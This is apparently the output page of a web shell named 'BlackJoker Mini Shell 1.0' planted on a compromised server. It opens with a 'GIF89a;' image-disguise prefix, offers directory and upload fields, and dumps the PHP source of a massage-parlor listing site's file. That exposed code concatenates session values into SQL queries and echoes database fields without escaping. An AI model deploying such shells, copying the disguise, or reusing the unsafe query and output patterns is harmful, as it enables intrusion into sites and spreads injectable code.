GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/my-massageparlor.php

<?  session_start();

	include("lib/globals.php");

 	include("lib/common.php");

 	include("lib/functions.php");

	$page="my_massageparlor";

?>
<? include "includes/header_top.php";?>

	
<body>

 <? include "includes/header.php";?>

<? include "includes/sub-menu.php";?>

    <br/>

   <div class="div_boddy">

     <div class="est_left">1.My Ad List</div>

     <div class="est_mid">

     	<? $k=1;

		$date=date('Y-m-d');

		$sql_event="SELECT * FROM massageparlor  WHERE user_id='".$_SESSION['userid']."' AND status='a' ORDER BY id DESC";

		$res_event=execute_query($sql_event);

		$num=mysql_num_rows($res_event);

		if($num>0)

		 {

			 while($row_event=mysql_fetch_array($res_event))

			 {

				 $sql_user="SELECT * FROM user_info WHERE userid='".$_SESSION['userid']."'";

				 $res_user=execute_query($sql_user);

				 $row_user=mysql_fetch_array($res_user);

				 ?>

                 <div class="postad_mid" <? if($num!=$k){ ?>  style="margin-bottom:12px;" <? } ?>>

        			<div style="float:left; width:100%; padding:10px 0 15px 0;">

                	<p style="padding:0; margin:0; float:left; width:20%;">

                    	<img src="avtar/<?=$row_event['pic'] ?>" style="width:auto; height:80px; border:1px solid #666; margin-left:15px;" />

                	</p>

                	<p style="padding:0; margin:0 0 0 0px; float:left; font-size:16px; font-weight:bold; font-family: 'Roboto Condensed', sans-serif; width:60%; color:#4e0063;">

                    	<?=$row_event['name'] ?>

                    	<br class="spacer"/>

                    	<span style="color:#666; font-size:12px; float:left; font-weight:normal;">Location&nbsp;:</span>

                    	<span style="color:<?=$row_color['color_main2'] ?>; font-size:14px; float:left; margin-left:5px; font-weight:normal;"><?=$row_event['street']; ?></span>

                    	<br class="spacer"/>
                        <? 
						$sql_city="SELECT * FROM citys where id='".$row_event['city_id'] ."' ";
						$res_city=execute_query($sql_city);
						$row_city=mysql_fetch_array($res_city);
						?>   
                        <span style="color:#666; font-size:12px; float:left; font-weight:normal;">City&nbsp;:</span>

                    	<span style="color:<?=$row_color['color_main2'] ?>; font-size:14px; float:left; margin-left:5px; font-weight:normal;"><?=$row_city['name'] ?></span>

                    	<br class="spacer"/>

                    	<span style="color:#666; font-size:12px; float:left; font-weight:normal;">Posted By&nbsp;:</span>

                    	<span style=" font-size:14px; float:left; margin-left:5px; font-weight:normal;"><?=$row_user['username']; ?></span>

                    	<br class="spacer"/>

                    	<span style="color:#666; font-size:12px; float:left; font-weight:normal;">Date&nbsp;:</span>

                    	<? $date=explode('-',$row_event['create_time']); ?>

                    	<span style="font-size:14px; float:left; margin-left:5px; font-weight:normal;"><? echo $date[1].'/'.$date[2].'/'.$date[0] ?></span>

                	</p>

                	<p style="float:right; width:15%; padding-top:30px;"><a href="msgparlor-viewdetails.php?postad_id=<?=$row_event['id']?>"><img src="images/manage-ad.png"></a></p>

            	</div>

            <!--<div style="float:right; width:130px; margin-top:4px; margin-bottom:4px;">

            	

                <p style="background-color:#93C; height:50px; width:100px; color:#fff; margin:0px; padding:0 5px; text-align:center; line-height:50px;"><a href="edit-ad.php">Edit Ad</a></p>

            </div>-->

            <br/><br/>

            <br class="spacer"/>

        </div>

        <br class="spacer"/>

			<? $k++; }

		 }

		?>

     

      </div>

      <div class="est_right"></div>

      <br class="spacer"/>

   </div> 

  </div>



</div>

<br class="spacer" />



<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0